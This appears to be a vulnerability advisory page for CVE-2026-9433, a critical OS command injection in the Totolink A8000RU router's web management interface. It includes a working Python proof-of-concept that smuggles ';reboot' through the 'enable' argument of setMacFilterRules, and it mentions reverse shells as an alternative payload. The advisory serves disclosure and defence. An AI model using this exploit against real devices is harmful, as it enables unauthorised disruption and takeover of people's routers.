Security Vulnerability Report
中文
CVE-2026-9433 CVSS 9.8 CRITICAL

CVE-2026-9433

Published: 2026-05-25 07:16:18
Last Modified: 2026-05-25 07:16:18

Description

A weakness has been identified in Totolink A8000RU 7.1cu.643_b20200521. This issue affects the function setMacFilterRules of the file /cgi-bin/cstecgi.cgi of the component Web Management Interface. This manipulation of the argument enable causes os command injection. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Totolink A8000RU 7.1cu.643_b20200521

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL url = "http://<target_ip>/cgi-bin/cstecgi.cgi" # Vulnerable payload (e.g., ping back or reverse shell) # Using ';' to separate commands payload = ";reboot" # Data structure based on the function 'setMacFilterRules' data = { "function": "setMacFilterRules", "enable": payload, "action": 0 } # Headers headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; CVE-2026-9433 PoC)" } try: # Send POST request response = requests.post(url, json=data, headers=headers, timeout=5) # Check response if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Payload injected: {}".format(payload)) else: print("[-] Failed to send request. Status code: {}".format(response.status_code)) except Exception as e: print("[-] Error: {}".format(str(e)))

References

Raw JSON Data

JSON
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